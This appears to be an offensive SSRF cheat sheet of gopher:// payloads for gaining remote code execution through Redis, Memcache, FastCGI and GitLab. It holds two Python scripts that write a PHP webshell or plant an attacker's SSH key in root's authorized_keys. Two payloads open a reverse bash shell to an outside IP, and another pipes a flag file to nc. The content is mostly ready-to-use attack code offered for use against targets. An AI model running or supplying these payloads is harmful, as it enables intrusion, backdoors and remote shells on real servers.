gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

RCE via Shell Upload (PHP) - Redis Getshell Summary

#!/usr/bin/env python
# -*-coding:utf-8-*-

import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379" 
shell="\n\n<?php phpinfo();?>\n\n"
filename="shell.php"
path="/var" 
passwd=""

cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload

RCE via authorized_keys - Redis Getshell Summary

import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379"
# shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
sshpublic_key = "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8IOnJUAt5b/5jDwBDYJTDULjzaqBe2KW3KhqlaY58XveKQRBLrG3ZV0ffPnIW5SLdueunb4HoFKDQ/KPXFzyvVjqByj5688THkq1RJkYxGlgFNgMoPN151zpZ+eCBdFZEf/m8yIb3/7Cp+31s6Q/DvIFif6IjmVRfWXhnkjNehYjsp4gIEBiiW/jWId5yrO9+AwAX4xSabbxuUyu02AQz8wp+h8DZS9itA9m7FyJw8gCrKLEnM7PK/ClEBevDPSR+0YvvYtnUxeCosqp9VrjTfo5q0nNg9JAvPMs+EA1ohUct9UyXbTehr1Bdv4IXx9+7Vhf4/qwle8HKali3feIZ root@kali\n\n"
filename="authorized_keys"
path="/root/.ssh/"
passwd=""
cmd=["flushall",
     "set 1 {}".format(sshpublic_key.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload

RCE on GitLab via Git protocol

Great writeup from Liveoverflow here.

While this required authenticated access to GitLab to exploit, I am including the payload here as the git protocol may work on the target you are hacking. This payload is for reference.

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git

Memcache

Commonly bound port: 11211

gopher://[target ip]:11211/_%0d%0aset ssrftest 1 0 147%0d%0aa:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";s:5:"/.*/e";s:7:"replace";s:33:"eval(base64_decode($_POST[ccc]));";}}s:13:"rewritestatus";i:1;}%0d%0a
gopher://192.168.10.12:11211/_%0d%0adelete ssrftest%0d%0a

Apache Tomcat

Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)

Effective against Tomcat 6 only:

gopher-tomcat-deployer

CTF writeup using this technique:

From XXE to RCE: Pwn2Win CTF 2018 Writeup

FastCGI

Commonly bound ports: 80,443 (SSL)

This was taken from here.

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00

Tools

Gopherus

This tool generates Gopher payloads for:

  • MySQL
  • PostgreSQL
  • FastCGI
  • Redis
  • Zabbix
  • Memcache

SSRF Proxy

SSRF Proxy is a multi-threaded HTTP proxy server designed to tunnel client HTTP traffic through HTTP servers vulnerable to Server-Side Request Forgery (SSRF).

Credits:

Thank you to the following people that have contributed to this post:

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